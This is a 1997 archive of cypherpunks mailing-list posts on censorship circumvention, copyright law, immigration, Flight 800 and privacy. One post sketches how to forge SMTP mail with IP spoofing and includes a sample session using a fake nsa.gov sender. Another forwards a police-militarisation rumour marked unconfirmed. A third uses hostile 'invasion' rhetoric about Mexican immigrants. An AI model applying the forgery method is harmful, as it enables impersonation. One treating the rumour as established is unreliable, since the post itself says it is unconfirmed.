The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 22 Nov 1997 11:27:40 +0800
To: cypherpunks@toad.com
Subject: internet access monitored and censored
Message-ID: <7906d6c3d9cddf319c89ab0f3fe2805d@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain




*** my email is david.f@mailexcite.com

Hi all
please help me, this is the problem
our network admin is monitoring our internet access for "bad sites" detection
he is also blocking many of these sites
he is also (again !) blocking ports 8000-9000 (for public http proxies) and 3128-3130 for public squid caches

what to do than ?
please if you know a public proxy accessible under a port not in the blocked range,
or if you know a proxy or a search engine with SSl enabled please email that to me

*** my email is david.f@mailexcite.com
*** really sorry for using a remailer, i cant access my mailexcite account cause he may sniff my password
*** but i'm sure of one thing, he is not subscribed to this list ;-)











From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 22 Nov 1997 11:14:04 +0800
To: cypherpunks@toad.com
Subject: Copyrights and Wrongs, from The Netly News
Message-ID: <v03007821b09a14f0835e@[204.254.22.110]>
MIME-Version: 1.0
Content-Type: text/plain




*********

http://cgi.pathfinder.com/netly/opinion/0,1042,1588,00.html

The Netly News (http://netlynews.com/)
November 20, 1997

Copyrights and Wrongs
By Declan McCullagh (declan@well.com)

     If you think nothing of trading copyrighted software with
your friends, think again. A new law passed by Congress
will make even casual copyright breach a crime punishable
by a fine of up to $250,000 and five years in a federal
prison.

     While you're cooling your heels in Club Fed, you'll
have plenty of time to consider your misdeeds -- which in
this case could have been making just three copies of Adobe
Photoshop (cost: $389). The legislation covers anyone who
copies compact discs, videocasettes or computer software
worth at least $1,000. The No Electronic Theft Act, which
President Clinton is expected to sign later this month,
will be the first law in the history of the U.S. to
imprison copiers looking to save (not make) a few bucks.

     The President's signature will come not a nanosecond
too soon for the software and recording industry lobbyists
who have demanded this legislation for years. "The function
of the criminal copyright law is to deter people from
commercial-scale piracy, just as it is to penalize those
who prosecutors take to court," says Mark Traphagen, vice
president of the Software Publishers Association, the
software industry's largest trade organization.

[...]


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 22 Nov 1997 11:34:09 +0800
To: cypherpunks@toad.com
Subject: Re: Copyrights and Wrongs, from The Netly News
Message-ID: <v03007824b09a15beb3e7@[204.254.22.110]>
MIME-Version: 1.0
Content-Type: text/plain



Congress has voted to make not-for-profit copyright infringments a federal
felony, as I write in my article at:

  http://cgi.pathfinder.com/netly/opinion/0,1042,1588,00.html

A Federal court in _LaMacchia_ noted that: "Since 1897, when criminal
copyright infringement was first introduced into U.S. copyright law, the
concept differentiating criminal from civil copyright violations has been
that the infringement must be pursued for purposes of commercial
exploitation."

This now changes. For the first time in the history of the U.S., nonprofit
(noncommercial) copying is a crime.

When doing research for the story I stumbled across this quote, from the
Supreme Court in Dowling v. United States, 473 U.S. 207 (1985):

	...Interference with copyright does not easily equate with
	theft, conversion or fraud. The Copyright Act even
	employs a separate term of art to define one who
	misappropriates a copyright: "Anyone who violates any
	of the exclusive rights of the copyright owner..." [...]
	The infringer invades a statutorily defined province
	guaranteed to the copyright holder alone. But he does not
	assume physical control over the copyright; nor does he
	wholly deprive its owner of its use. While one may
	colloquially like infringement with some general notion
	of wrongful appropriation, infringement plainly
	implicates a more complex set of property interests than
	does run-of-the-mill theft, conversion or fraud.

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 22 Nov 1997 11:54:14 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Report on UN conference on Internet and racism
Message-ID: <27d58da7c4bee6ce203bf0ba25b3005a@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III, well known Nativist (if not Native) American, writes:
> In <199711192035.VAA20768@basement.replay.com>, on 11/19/97 
>    at 09:35 PM, Anonymous <nobody@REPLAY.COM> said:
> 
> >Actually, many studies have found that immigrants, legal and illegal,
> >make a net positive contribution to the economy, even considering their
> >access to government services.
> 
> Yes and 4 out of 5 doctors in an independent study prefer Buffren. Would
> you care to back this up with some actual facts.

>From the Cato Institute, a well known libertarian think tank,
http://www.cato.org/dailys/4-22-97.html:

> Myth number four: Immigrants impose a financial burden on
> taxpayers. Immigrants do make somewhat heavier use of means-tested welfare
> programs than natives. There have been especially flagrant abuses by
> immigrants of particular welfare programs, such as Supplemental Security
> Income. But because immigrants tend to come to the United States during
> the start of their working years --between the ages of 18 and 35 --
> they make very large net contributions to the two largest income transfer
> programs: Social Security and Medicare. When the payroll tax contributions
> of immigrants are taken into account, the Urban Institute found that the
> foreign born constitute a net fiscal windfall to the public sector of
> some $20 billion a year. To the extent that welfare use by immigrants is
> a problem, this can be addressed by restricting the welfare eligibility
> of immigrants, not by keeping immigrants out.

More details can be found by searching for "immigration" on www.cato.org.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Thu, 20 Nov 1997 11:04:21 +0800
To: cypherpunks@cyberpass.net
Subject: Re: export restictions and investments
Message-ID: <199711200259.LAA02696@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain




At 15:01 97/11/19 -0800, via RadioMail wrote:
> when i left the program, years ago, it was 10%.
> 
> i do not know if something else was done later.
> 
>  ----- Original Message
> 
> Date: 20 Nov 97 07:50 +0900
> From: Joichi Ito <jito@eccosys.com>
> Subject: ELVIS+
> To: Jeff Rulifson <jeffr@Eng.Sun.COM>
> 
> Jeff,
> 
> what % share of ELVIS+ does Sun own?
> 
>  - Joi

--
PGP Key: http://pgp.ai.mit.edu:11371/pks/lookup?op=get&search=0x2D9461F1
PGP Fingerprint: 58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ji.to



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim Griffiths <T.G.Griffiths@exeter.ac.uk>
Date: Sat, 22 Nov 1997 11:33:38 +0800
To: cypherpunks@Algebra.COM
Subject: Scientology war update
Message-ID: <aca0fceb47%Tim@tim01.ex.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain



Wired has a good article on how the war of words on alt.scientology.religion
has split over into dawn raids and hardware seizures:

http://www.wired.com/wired/3.12/features/alt.scientology.war.html

If this is what can be achieved, think what can happen when the
government _really_ puts its back it suppression. Time to PGP every
file I own...

Tim
-- 
Dr Tim Griffiths is in real life t.griffiths@ic.ac.uk
Vmail on (0)-1392-264197
Public key available - finger tim@tim01.ex.ac.uk

			- Nothing is trivial - 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jyri Kaljundi <jk@stallion.ee>
Date: Sat, 22 Nov 1997 11:42:33 +0800
To: cypherpunks@toad.com
Subject: Re: export restictions and investments
In-Reply-To: <199711191809.KAA17981@gabber.c2.net>
Message-ID: <Pine.GSO.3.95.971120125743.25779B-100000@nebula>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 19 Nov 1997, sameer wrote:

> > Are you really sure that they bought it all? That would go against what
> 
> 	I am pretty sure that they have only a 10% stake in Elvis+.

Yes this is the case, Sun owns 10% of Elvis+ (a Russian company). Besides
that there is Russia Communications Research, Inc. (a California
corporation), which seems to be the sales part of Elvis+. Anyway the
question was about if an US company can invest in a crypto company, and
the answer was yes. Percentages are not so important. And sorry for saying
"Sun bought Elvis+".

Jyri Kaljundi
jk@stallion.ee
AS Stallion Ltd
http://www.stallion.ee/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Alex Peshevski" <Alexandre.Peshevski@das.gov.au>
Date: Thu, 20 Nov 1997 11:14:00 +0800
To: jya@pipeline.com
Subject: Re: From the Files - Freeh and Flight 800
Message-ID: <s47441b0.087@das.gov.au>
MIME-Version: 1.0
Content-Type: text/plain



Does anyone have a copy of the CIA (FBI) Video simulation??

>>> John Young <jya@pipeline.com> 20/11/97 12:09:58 >>>
Marc Rotenberg wrote:
>
>FWIW, Kallstrom spent much of his time at the press
>conference this week debunking the missle theory.
>The FBI's explanation for why so many eyewitnesses
>appeared to see a missile approach the plane boils
>down to this: observers, alerted by the explosion,
>were actually observing a wing falling away from
>the plane.

To amplify this a bit: the explanation also included the
speculation of cascading fuel being ignited from the
bottom and flaming upward, which could be interpreted 
by the observers as a missile rising. 

An interesting view which I wonder if any of our scientists
here find credible. 

Perhaps I missed it, but I don't recall the CIA video showing
upward flaming fuel, rather it showed a billowing explosion
centered on the main fuel tank of the upturning fuselage
(as the front cabin plummeted).

Is it feasible that the fuel would ignite and flame upward 
that way or would it be too broadly dispersed by speed 
and the atmosphere to cause a coherent, shaped flame 
such as that of a missile tail? For example, would an 
adept pilot be able to tell the difference?

This is posed because of the way several theories of
the OKC blomb blast got it wrong due to overly
narrow initial interpretation as did misinterpretations
of other controversial "terrorisms."

Perhaps Tim May is correct in his assessment of Jim,
but NTSC's upcoming hearing should produce more 
reliable technical information than Kallstrom appears to 
be comfortable handling -- given his bent for melodrama 
fine details of investigation seem to be an annoyance,
although he appeared to like the assurance of the CIA's 
virtual reality.

Kallstrom also said that the case will remain open, I guess
in case Boeing or TWA or something needs to be zapped
by blind justice.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 22 Nov 1997 11:13:40 +0800
To: John Young <JonWienk@ix.netcom.com>
Subject: Re: Nobuki Nakatuji
In-Reply-To: <1.5.4.32.19971120122115.006cef8c@pop.pipeline.com>
Message-ID: <v04002739b09a388e2d14@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:21 am -0500 on 11/20/97, John Young wrote:


> To wit: "John Young," no other vapid pseudonym have ever been so
> often used to hide god's evilist holies.

You am what you is?

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 22 Nov 1997 11:27:35 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Forwarded mail...
Message-ID: <199711202054.OAA05162@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 20 Nov 1997 21:24:12 +0100 (MET)
> From: nobody@REPLAY.COM (Anonymous)
> Subject: Re: The Great Awakening (fwd)

> Jim Choate wrote:
> >No, "The Second Great Awakening" which happened to be followed by "The Third
> >Great Awakening".
> >
> >You didn't read the various posts that I sent out earlier on this did you...
> 
> Uh, Hello?  Your post entitled "1st Great Awakening" describes the exact
> same thing that I called simply, "The Great Awakening."  It was not, as you
> say above, the 2nd one.

They are they same if we ignore the fact that there is 50+ years between
the 1st (1700-1750) and the 2nd (1800-1850).
 
> I did read the various posts you sent.  I don't know who chose the names for
> the 2nd and 3rd "Great Awakenings", but they don't seem to have much to do
> with religious revivalism like your "1st Great Awakening" and what I (and
> the definitive Norton Anthology) refer to as simply "The Great Awakening."
> 
> Nerthus

Then you should go back and read them some more. In fact, if you still have
the originals they include in the header the URL where I got the data from.
Take the 10 minutes and go over and take a look at them. All three were
related to religous revivalism in one form or another. The 1st (which
itself some consider to be the second occurance of a previous movement
as indicated in the title) did not occur in the 1800's which was the
original precis that somebody threw out

I did some looking around as well and other then Norton, yourself, and
whoever it was that made the original claim all references I can find to
the Great Awakening refer to the 1700-1750 event(s) as the first one to
occur in the America's. If I can find my Norton Anthology I'll take a
look at it, though it is 15+ years old.

> >Subject: 1st Great Awakening
> [...]
> > X-within-URL: http://www.fourthturning.com/html/great_awakening.html

                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> >    The Great Awakening (Second Turning, 1727-1746) began as a spiritual
                            ^^^^^^^^^^^^^^^^^^^^^^^^^


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sat, 22 Nov 1997 12:15:05 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <27d58da7c4bee6ce203bf0ba25b3005a@anon.efga.org>
Message-ID: <199711202158.QAA22009@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <27d58da7c4bee6ce203bf0ba25b3005a@anon.efga.org>, on 11/20/97 
   at 11:36 AM, Anonymous <anon@anon.efga.org> said:

>William H. Geiger III, well known Nativist (if not Native) American,
>writes: > In <199711192035.VAA20768@basement.replay.com>, on 11/19/97  >   
>at 09:35 PM, Anonymous <nobody@REPLAY.COM> said:
>> 
>> >Actually, many studies have found that immigrants, legal and illegal,
>> >make a net positive contribution to the economy, even considering their
>> >access to government services.
>> 
>> Yes and 4 out of 5 doctors in an independent study prefer Buffren. Would
>> you care to back this up with some actual facts.

>>From the Cato Institute, a well known libertarian think tank,
>http://www.cato.org/dailys/4-22-97.html:

>> Myth number four: Immigrants impose a financial burden on
>> taxpayers. Immigrants do make somewhat heavier use of means-tested welfare
>> programs than natives. There have been especially flagrant abuses by
>> immigrants of particular welfare programs, such as Supplemental Security
>> Income. But because immigrants tend to come to the United States during
>> the start of their working years --between the ages of 18 and 35 --
>> they make very large net contributions to the two largest income transfer
>> programs: Social Security and Medicare. When the payroll tax contributions
>> of immigrants are taken into account, the Urban Institute found that the
>> foreign born constitute a net fiscal windfall to the public sector of
>> some $20 billion a year. To the extent that welfare use by immigrants is
>> a problem, this can be addressed by restricting the welfare eligibility
>> of immigrants, not by keeping immigrants out.

>More details can be found by searching for "immigration" on www.cato.org.

You should have done your research better.

This report by the Cato Institute based on a report by the Urban Institute
is based on *Legal* Immigrants.

>Studies that report a decline in immigrant income and education levels
>often referred to as immigrant "quality" fail to take into account the
>fact that U.S. census data do not differentiate by immigration status.
>Legal immigrants, refugees and illegal immigrants are all included in
>U.S. censuses. But refugees and illegal immigrants have tended to be
>poorer and less educated on average than other immigrants. 

In after reviewing the some of the documents at the Urban Institute web
site http://www.urban.org I would hardly call them a libertarian
orginization. 

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 22 Nov 1997 11:47:20 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <3.0.3.32.19971119124900.007463b0@pop.mindspring.com>
Message-ID: <3.0.2.32.19971120164135.035dba00@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 10:08 PM 11/19/97 -0600, William H. Geiger III wrote:
>My impeachable claim is I am here and they are not. I see no reason why I
>or anyone else should sit idly by and watch the SouthWest be turned into a
>Mexican colony. 

Move North.

What are your grounds for restricting the rights of your neighbors to 
contract with Mexicans or whoever else they care to?  Buy, sell, hire, rent, 
etc.

DCF

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Sat, 22 Nov 1997 10:55:14 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <199711202253.RAA22495@users.invweb.net>
Message-ID: <Pine.LNX.3.95.971120161706.23634P-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 20 Nov 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <3.0.2.32.19971120164135.035dba00@panix.com>, on 11/20/97 
>    at 04:41 PM, Duncan Frissell <frissell@panix.com> said:
> 
> >-----BEGIN PGP SIGNED MESSAGE-----
> 
> >At 10:08 PM 11/19/97 -0600, William H. Geiger III wrote:
> >>My impeachable claim is I am here and they are not. I see no reason why I
> >>or anyone else should sit idly by and watch the SouthWest be turned into a
> >>Mexican colony. 
> 
> >Move North.
> 
> Hmmm just like the Indians should have moved West?
> 
> >What are your grounds for restricting the rights of your neighbors to 
> >contract with Mexicans or whoever else they care to?  Buy, sell, hire,
> >rent,  etc.
> 
> When you have +1,000,000 Mexicans comming across the boarder a year that
> is called an Invasion. When the Federal Government refuses to defend the
> boarders and forces the citizens of the states to aid in this invasion
> this is called Treason.
> 

I feel your pain, William ;-)

I suggest we take this discussion towards a more constructive approach.

Lets just start a country in cypherspace.  I'll come up with a nice
serialized certificate of citizenship available in PDF format, suitable
for framing.  With your PDF cert comes a client-side certificate and
membership.  All this for only $1. 

Whats that I hear you say?

"I'd buy that for a dollar!"

And that's not all!

All you have to do is volunteer to spam the correct legislators
with pro-crypto lobbying.  Enlist to defend cypherspace.

Remember, enlistment guarantees citizenship!

(ahem...now back to your regularly scheduled silliness)

jim








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Benjamin Chad Wienke" <woodwose@mailexcite.com>
Date: Sat, 22 Nov 1997 10:59:36 +0800
To: cypherpunks@toad.com
Subject: (No Subject)
Message-ID: <LFPODLLJLKKMBAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



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ORQs81/ZBFBo25M=
=OdWo
-----END PGP MESSAGE-----




Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sat, 22 Nov 1997 11:37:31 +0800
To: cypherpunks@algebra.com
Subject: police state rumors
Message-ID: <199711210248.SAA17206@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




------- Forwarded Message


>>The following is an UNCONFIRMED RUMOR. If you have any information
>>to confirm or deny these statements, please post and cc:
>>safety.security@cancomm.com. As always, please specify your sources as
>>precisely as possible. Thanks, Wes Thomas
>>
>>-- Forwarded --
>>
>>To all,
>>
>>This e-mail came to me by way of public user in a public library.  There
was
>>no use in replying to this party for he would probably not be the one to
>>receive my reply.  I cannot verify the facts as presented in this post,
but
>>I'm sending this out for comments.  Anyone with further information on
this
>>situation please forward it through your network and cc: me a copy at
>>safety.security@cancomm.com.
>>
>>Best Regards,
>>
>>Al Colombo, Editor
>>Safety & Security Magazine
>>safety.security@cancomm.com
>>http://web.raex.com/~colombo/
>>
>>>Date: Mon, 17 Nov 1997 13:47:18 -0800
>>>From: *** Public PC User -- Library Documents <user@***.edu>
>>>Subject: military weapons issud to police depts.
>>>To: colombo
>>>
>>>I'm a former cop with 16 years of experience including intelligence,
>>>SWAT, tactical operations, criminal investigations.
>>>
>>>Police depts. are receiving free of charge from the Defense logistics
>>>Agency all kinds of military pattern small arms.  these include m-16's
>>>(full auto kind), ammo, and even bayonets.  Also included is webb gear,
>>>ammo pouches, ponchos, night vision devices and passive infra-red and
>>>thermal imaging night sights or night vision devices.
>>>
>>>Sources of mine in the State of WA., say that many PD's are now training
>>>in advanced small unit tactics involving MOUT scenarios at the Yakima
>>>Army Training Center.  MOUT deals with street fighting in an urban
>>>warfare context.
>>>
>>>In addition, automatic weapons instruction (small arms) is also given to
>>>these units at the training center and some units report Army
>>>instructors (mostly special forces types) are instructing them in long
>>>range snipe fire and concenalment mehtods, including reconnaisance and
>>>intelligence gathering in the field.
>>>
>>>Now here's the kicker.  The WA. State Criminal Justice Training
>>>Commision is allegedly (good source on this) considering expanding the
>>>police academy curriculum and training hours from the present 440 hrs.
>>>to twice that amount.  Civil unrest and street fighting tactics are to
>>>be included in the new blocs of instruction.  Additional emphasis on
>>>sniper and full auto weapons training and intelligence gathering
>>>missions, plus joint tactical doctrine in order to facilitate working
>>>with military units may also be included.  I hear other states are to
>>>join in with the same agenda to be implemented.
>>>
>>>Sources with WA. State Emergency Management Services report that the WA.
>>>State Patrol is now designated the LEAD co-ordinating agency for all
>>>WAs. State police operations in the event of an emergency and in
>>>co-ordinating these operations with elements of the National Guard and
>>>US regular Army!
>>
>>***********************************************************
>>EWAR-L Electronic Warfare Mailing List
>>To unsubscribe or subscribe: send a message to majordomo@sonic.net
>>with the following text: unsubscribe EWAR-L or subscribe EWAR-L.
>>To post messages, send to: <EWAR-L@sonic.net>. Previous posts:
>><http://www.sonic.net/~west/ewar/digest.htm>. EWAR Web site:
>><http://www.sonic.net/~west/ewar/ewar.htm>.
>>-Wes Thomas <west@sonic.net>, list owner
>>
>
>
>``````````````````````````````````````````````````````````````
>This Hyperborea message was transmitted by or redirected from:
>onelight@eznet.net
>...
>[*]^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^[*]
>|                    The Galactic Courier @ Hyperborea                    |
>|              Internet News Tabloid for the Galactic Guilder   |
>|                   Metaphysics & Mischief in Cyberspace                  |
>|                 ___"all the news that's fit to post!"___                |
>[*]_____________________________________________________________________[*]
>



- - --------------5E8B804B1B913D9C90795D2F--


- ------- End of Forwarded Message


------- End of Forwarded Message

--===========================_ _= 9575805(248)--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 22 Nov 1997 10:42:43 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Algebra down?
Message-ID: <199711210135.TAA06345@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Been getting bounces from Algebra for the last few hours. Anyone know what's
up on that end?


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 22 Nov 1997 11:12:35 +0800
To: cypherpunks@cyberpass.net
Subject: SMTP forgeries
Message-ID: <199711201948.TAA01894@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




What is the state of the art with SMTP mail forgeries?

It seems that the forwarding SMTP agent can determine the senders IP
address.

I am wondering if this could be prevented by using IP level spoofing
to put fake return IP address on the TCP/IP connection to the
receiving mail hubs SMTP port, in that the sender does not really need
the information the SMTP hup sends back.

This would then be a variant of the IP spoof attack.  What would be
needed would be a site which blindly accepted the one sided traffic
from the receiving SMTP hub where it thought it was replying to the
traffic.

eg. Sender says:

HELO nsa.gov
250 locahost Hello locahost [127.0.0.1], pleased to meet you

The sendmail seems to be trying to be clever doing a reverse name
lookup, and ignoring what you tell it on the HELO line.
The 250 reply is not required by the sender.

MAIL FROM: nobody@nsa.gov
250 nobody@nsa.gov... Sender ok

RCPT TO: joe@acme.com
250 joe@acme.com... Recipient ok

DATA
354 Enter mail, end with "." on a line by itself
asdfasdfasdf





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Galt <jongalt@pinn.net>
Date: Sat, 22 Nov 1997 10:44:09 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <199711202253.RAA22495@users.invweb.net>
Message-ID: <Pine.SUN.3.91.971120201749.29114E-100000@everest.pinn.net>
MIME-Version: 1.0
Content-Type: text/plain




> >What are your grounds for restricting the rights of your neighbors to 
> >contract with Mexicans or whoever else they care to?  Buy, sell, hire,
> >rent,  etc.

On Thu, 20 Nov 1997, William H. Geiger III wrote:
> When you have +1,000,000 Mexicans comming across the boarder a year that
> is called an Invasion. When the Federal Government refuses to defend the
> boarders and forces the citizens of the states to aid in this invasion
> this is called Treason.

After all it is *very* important to have the Federal Government defend 
boarders against exploitation by their landlords! :-)

Seriously though.  Getting all emotionally tied up in concepts like 
"defending the borders" and "forcing" citizens to "aid in this invasion" 
may sound good, but whose land is it anyway?  I don't own a single acre, 
not even a single square foot of land in the entire southwestern/western 
part of the North American continent.

What gives the hoodlums in Washington, D.C. the right to draw a line on a 
map and try to control people's travel across that line?

___________________________________________________________________
Jon Galt
e-mail:  jongalt@pinn.net
website:  http://www.pinn.net/~jongalt/
PGP public key available on my website.
__________________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)Nerthus <cypherpunks@cyberpass.net>
Date: Sat, 22 Nov 1997 11:28:58 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Great Awakening (fwd)
Message-ID: <199711202024.VAA26211@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>The effect/influence of SAD has been shown in the past to be much
>greater during high levels of El Nino activity.
>
>TAT#3207/coe


Jim Choate wrote:
>No, "The Second Great Awakening" which happened to be followed by "The Third
>Great Awakening".
>
>You didn't read the various posts that I sent out earlier on this did you...

Uh, Hello?  Your post entitled "1st Great Awakening" describes the exact
same thing that I called simply, "The Great Awakening."  It was not, as you
say above, the 2nd one.

I did read the various posts you sent.  I don't know who chose the names for
the 2nd and 3rd "Great Awakenings", but they don't seem to have much to do
with religious revivalism like your "1st Great Awakening" and what I (and
the definitive Norton Anthology) refer to as simply "The Great Awakening."

Nerthus

>From: Jim Choate <ravage@ssz.com>
>Subject: 1st Great Awakening
[...]
> X-within-URL: http://www.fourthturning.com/html/great_awakening.html
>
>    The Great Awakening (Second Turning, 1727-1746) began as a spiritual
>    revival in the Connecticut Valley and reached an hysterical peak in
>    the northern colonies (in 1741) with the preachings of George
>    Whitefield and the tracts of Jonathan Edwards.  The enthusiasm split
>    towns and colonial assemblies, shattered the 'old light'
>    establishment, and pitted young believers in 'faith' against elder
>    defenders of 'works.'  After bursting polite conventions and lingering
>    Old World social barriers, the enthusiasm receded during King GeorgeÆs
>    War.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian W. Buchanan" <brian@smarter.than.nu>
Date: Sat, 22 Nov 1997 10:42:49 +0800
To: cypherpunks@Algebra.COM
Subject: What REALLY happened to Flight 800...
Message-ID: <Pine.BSF.3.96.971120212821.4607A-100000@thought.calbbs.com>
MIME-Version: 1.0
Content-Type: text/plain



>From comp.risks:
| An article `Windows added to cockpit choices' in Flight International, 5-11
| November 1997, p 25, explains that the US company Avidyne has certificated
| an avionics system based on Windows NT.  The hardware supplier is Electronic
| Designs, who has recently received approval from the FAA (approval for what
| is not specified). Avidyne is apparently working on Level-C approval, which 
| will allow use of its moving-map display for IFR navigation. One of the 
| benefits is said to be the wide range of interfaces available to other 
| devices. 

 
"Good afternoon, Microsoft technical support."

"This is TWA Flight 800.  Our avionics system just shit itself!  Something
about a segmentation violation in the hydrolics interface driver!"

"Hmm.  Did you try rebooting it?"

"Yes, several times!  Losing attitude control!"

"Hmm.  This may require a reinstall of the operating system then.  Please
hold for a moment while I connect you to one of our reinstallation support
technicians."

"No! Wait!  The center fuel tank's thermostat control dialog is full of
random garbage now!  *SCREAM* *BOOM*"


... And in today's news, despite a leaked report from the NTSB that it was
not "digital sabotage," but a critical bug in Microsoft Windows NT for
Avionics that was responsible for the crash of TWA Flight 800, President
Clinton has asked Congress to introduce legislation that would enable the
FBI to monitor so-called computer hackers more carefully through digital
wiretaps and mandatory key escrow, to "save the children from the
info-terrorists on the other side of the Bridge to the Twenty-First
Century."  Microsoft is not commenting at this time, but a source within
the company has informed us that a fix for the "center fuel tank bug" will
be included in NT for Avionics Service Pack 4, to be released in the first
quarter of 1998.

-- 
Brian Buchanan                                      brian@smarter.than.nu
"War is peace.  Freedom is slavery.  I'm from the government, and I'm here
 to help you."
No security through obscurity!  Demand full source code!
4.4BSD for the masses - http://www.freebsd.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 22 Nov 1997 10:45:39 +0800
To: cypherpunks@toad.com
